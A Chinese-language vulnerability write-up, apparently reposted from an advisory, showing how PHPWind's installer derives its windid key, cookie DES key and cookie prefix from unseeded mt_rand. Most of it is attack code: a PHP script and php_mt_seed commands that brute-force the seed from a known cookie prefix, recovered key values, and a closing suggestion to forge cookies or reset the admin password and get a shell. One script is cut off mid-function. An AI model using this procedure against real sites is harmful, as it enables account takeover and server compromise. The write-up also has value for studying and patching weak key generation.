PHPWind 密钥泄露

  1. 发布时间:2017-05-10
  2. 公开时间:N/A
  3. 漏洞类型:信息泄露
  4. 危害等级:高
  5. 漏洞编号:xianzhi-2017-05-94591722
  6. 测试版本:N/A

漏洞详情

wind/utility/WindUtility.php 115行 generateRandStr函数

public static function generateRandStr($length) {
        $mtstring = 'AzBy0CxDwEv1FuGtHs2IrJqK3pLoM4nNmOlP5kQjRi6ShTgU7fVeW8dXcY9bZa';
        $randstr = '';
        for ($i = 0; $i < $length; $i++) {
            $randstr .= $mt_string[mt_rand(0, 61)];
        }
        return $randstr;
    }

函数调用时没有用mt_srand初始化随机数种子 在已知序列且部分mt_rand值可知的情况下 可以爆破seeds 导致所有生成的“随机值”可被轻易计算
安装时有3处调用了generateRandStr函数 分别是
finishAction中的

$site_hash = WindUtility::generateRandStr(8);
$cookie_pre = WindUtility::generateRandStr(3);

和dataAction中的

$this->_writeWindid();//这个函数中调用如下
$key = md5(WindUtility::generateRandStr(10));

安装时抓包看调用顺序是data->finish
所以随机序列是

mt_rand()10 //$key windid通信密钥
mt_rand()8  //$site_hash cookie加解密DES密钥 
mt_rand()3  //$cookie_pre cookie前缀

按这个顺序跑了一次php_mt_seeds没成功 看来安装的时候还有别的mt_rand调用 搜了一下 发现一个函数

private function _checkWriteAble($pathfile) {
        if (!$pathfile) return false;
        $isDir = in_array(substr($pathfile, -1), array('/', '\')) ? true : false;
        if ($isDir) {
            if (is_dir($pathfile)) {
                mt_srand((double) microtime()  1000000);
                $pathfile = $pathfile . 'pw' . uniqid(mt_rand()) . '.tmp';
            } elseif (@mkdir($pathfile)) {
                return self::_checkWriteAble($pathfile);
            } else {
                return false;
            }
        }
        @chmod($pathfile, 0777);
        $fp = @fopen($pathfile, 'ab');
        if ($fp === false) return false;
        fclose($fp);
        $isDir && @unlink($pathfile);
        return true;
    }

函数是用来检查目录写权限的 可以看到当参数是目录的时候 会用mt_srand重置随机数 然后再调用了一次mt_rand()。
这个函数调用的地方不少 但我们不用去管它调用几次,因为只要参数是文件 就不会mt_srand也不会mt_rand
只要参数是目录 那么就会mt_srand()+mt_rand()
不管怎么调用这个函数 都只需要在最后计算序列时加上一次就可以了 而且因为这个函数的存在 使得我们的seeds范围大大减小(double)microtime()1000000
重新梳理逻辑
现在随机数序列是这样

[mt_srand(x)+mt_rand()]N
mt_rand()10 //$key windid通信密钥
mt_rand()8  //$site_hash cookie加解密DES密钥 
mt_rand()3  //$cookie_pre cookie前缀

写个脚本来生成参数

$mt_string = 'AzBy0CxDwEv1FuGtHs2IrJqK3pLoM4nNmOlP5kQjRi6ShTgU7fVeW8dXcY9bZa';
$cookie_pre = 'JIE'; //cookie_pre
for($i=0;$i<19;$i++){ //1+10+8
    echo "0 0 0 0 ";
}
for($i=0;$i<3;$i++){
    $pos = strpos($mt_string,$cookie_pre[$i]);
    echo "$pos $pos 0 61 ";
}

丢给php_mt_seeds

./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 21 21 0 61 19 19 0 61 9 9 0 61 >1.txt

因为只有3个已知值 所以跑出来的seeds会不少 不过因为前面用mt_srand自己置的seeds 所以在跑完
trying 0 - 33554431 之后就可以ctrl+c停止了
整理下文件

cat 1.txt | awk '{print $3}'|tr -s '\n' >seeds.txt

丢个下一个脚本

 strlen($str)) return false;
        if (strspn($str, chr($pad), strlen($str) - $pad) != $pad) return false;
        return substr($str, 0, -1  $pad);
}

分分钟出结果

result:2 44aef40f6b1629ffa04e8b2b24c12372
263450
Lw0xe4Vt
222abc490d4c50ccc7c07419ba501898

看看我们的配置文件


PHPWind 密钥泄露_第1张图片
view.png

接下来 不管是拿hash去玩cookie
还是直接用windid玩用户 都随便 直接修改管理员密码进后台getshell都没什么问题

你可能感兴趣的:(PHPWind 密钥泄露)